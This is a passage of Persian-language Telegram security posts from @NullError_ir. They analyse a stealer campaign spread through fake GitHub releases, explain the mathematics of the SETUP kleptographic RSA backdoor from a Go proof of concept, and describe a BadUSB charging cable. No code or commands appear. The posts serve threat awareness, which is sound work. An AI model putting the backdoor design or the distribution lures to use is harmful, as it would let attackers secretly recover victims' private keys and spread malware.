* با استفاده از Regex به دنبال فایل‌های key_datas می‌گردد و آن‌ها را همراه با اسکرین‌شات ارسال می‌کند.

Browser Stealer:

* ترکیبی از ++C و پایتون (کامپایل شده با Nuitka).

* مهندسی معکوس نشان می‌دهد که این ماژول نسخه مودیفای شده‌ای از پروژه متن‌باز BrowserSnatch است که لیست تارگت‌های آن دو برابر شده است.

* آرتفکت‌هایی مانند brsteal.dll در دایرکتوری‌های موقت Nuitka قابل مشاهده است.

Crypto Stealer: هدف قرار دادن کیف پول‌هایی مثل Exodus، Electrum و Atomic.

روش‌های توزیع و شکار (Hunting)

وکتور حمله: استفاده از GitHub Releases جعلی. مهاجمین فایل‌های مخرب را با نام‌های فریبنده مثل NodeJs.exe ، PuTTY یا Zoom در مخازن گیت‌هاب آپلود می‌کنند تا ترافیک شبکه را مشروع (Legitimate) جلوه دهند.

پی‌لودهای نهایی مشاهده شده:

*۔ LummaC2 (۴۶٪)

*۔ WebRAT / SalatStealer (۳۱٪)

*۔ QasarRAT (۱۵٪)

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
1
#RSA_Backdoor_Generator

چند ساعتی است که یک مخزن گیتهاب عمومی شده که یک (Proof of Concept) از حمله معروف
Young & Yung (1996)
به نام
SETUP (Secretly Embedded Trapdoor with Universal Protection)
است که به زبان Go نوشته شده.

این پروژه نشان می‌دهد که چطور می‌توان یک «بکدور نامتقارن» (Asymmetric Backdoor) را درون فرآیند تولید کلید RSA مخفی کرد، به طوری که حتی با داشتن سورس‌کد (الگوریتم) و تحلیل خروجی‌ها، هیچ‌کس جز مهاجم نتواند کلید را بشکند.

### تحلیل فنی و مکانیزم عملکرد (Kleptography)

در حالت عادی، کلیدهای RSA ($n, e, d$) بر اساس دو عدد اول تصادفی $p$ و $q$ ساخته می‌شوند. اما در این ابزار، این اعداد تصادفی نیستند:

1. تزریق (Infection):

* تولیدکننده کلید (Generator) ابتدا یک عدد تصادفی (Seed) به نام $s$ تولید می‌کند.

* عدد اول $p$ از هش $s$ مشتق می‌شود: $p = H(s)$.

* سپس $s$ با استفاده از کلید عمومی مهاجم ($E_{att}, N_{att}$) رمزگذاری می‌شود تا مقدار $c$ بدست آید:

$$c = s^{E_{att}} \pmod{N_{att}}$$

* حالا نکته کلیدی اینجاست: عدد اول دوم ($q$) طوری انتخاب می‌شود که وقتی $n = p \times q$ محاسبه شد، مقدار $c$ (که همان سید رمزگذاری شده است) در بیت‌های بالایی (Most Significant Bits) عدد $n$ قرار بگیرد.

* به زبان ساده: کلید عمومی قربانی، حاوی نسخه رمزگذاری شده کلید خصوصی اوست.

2. استخراج (Extraction):

* مهاجم فقط به کلید عمومی قربانی ($n$) نیاز دارد.

* مهاجم بیت‌های بالایی $n$ را برمی‌دارد (که همان $c$ است).

* چون مهاجم کلید خصوصی خودش ($D_{att}$) را دارد، $c$ را رمزگشایی کرده و $s$ را بدست می‌آورد.

* با داشتن $s$، مقدار $p$ را بازسازی کرده و با تقسیم $n$ بر $p$، کلید خصوصی قربانی را کامل بدست می‌آورد.

### ویژگی‌های کد (Code Analysis)

* زبان: Go (Golang).

* روش ساخت: Brute-force هوشمند. کد آنقدر $q$ های مختلف را امتحان می‌کند تا رابطه ریاضی $n$ طوری تنظیم شود که $c$ در بالای آن قرار گیرد.

* مولفه‌های اصلی:

۔* generator.go: ابزار آلوده برای تولید کلید برای قربانی.

۔* decryptor.go: ابزار مخصوص مهاجم برای استخراج کلید خصوصی از روی کلید عمومی قربانی.

### سطح خطر و اهمیت امنیتی

این حمله کابوس سیستم‌های رمزنگاری است زیرا:

1. غیرقابل تشخیص (Indistinguishable): کلید عمومی تولید شده ($n$) از نظر آماری کاملاً تصادفی به نظر می‌رسد و هیچ تستی نمی‌تواند وجود درب‌خلفی را ثابت کند.

2. انحصاری: برخلاف درب‌های پشتی ساده (مثل استفاده از اعداد اول ثابت)، در اینجا اگر کسی متوجه الگوریتم شود، باز هم نمی‌تواند کلیدهای قربانیان را بشکند، مگر اینکه کلید خصوصی مهاجم را داشته باشد.

3. کاربرد: این متد در حملات زنجیره تأمین (Supply Chain Attacks)، کارت‌های هوشمند (Smart Cards) و ماژول‌های امنیتی سخت‌افزاری (HSM) که "جعبه سیاه" هستند، بسیار محتمل است.

### نتیجه‌گیری

این مخزن اثبات می‌کند که "اعتماد به جعبه سیاه در رمزنگاری اشتباه محض است". اگر شما از یک کتابخانه کامپایل شده یا سخت‌افزار بسته برای تولید کلید استفاده می‌کنید، هیچ راهی برای اثبات اینکه کلید خصوصی شما قبلاً برای سازنده ارسال نشده (یا در دل کلید عمومی مخفی نشده) وجود ندارد.

پتانسل حمله بسیار بالاست ...

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
#EvilCrowCableWind

کابل شارژی که دستگاه شما را هک می‌کند
یک BadUSB مبتنی بر ESP32-S3 .
ماژول در حالت STATION پیکربندی شده . شما باید یک نقطه دسترسی وای‌فای با تلفن همراه یا دستگاه دیگری راه‌اندازی کنید، کابل به طور خودکار به آن متصل می‌شود.
اینجا به صورت کامل در موردش (نصب و راه اندازی و غیره ) توضیح داده . ماژول هم که همه جا پیدا میشه ...
زیاد در کابل شارژ و موس و صفحه کلید و غیره پیدا میشه ..

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21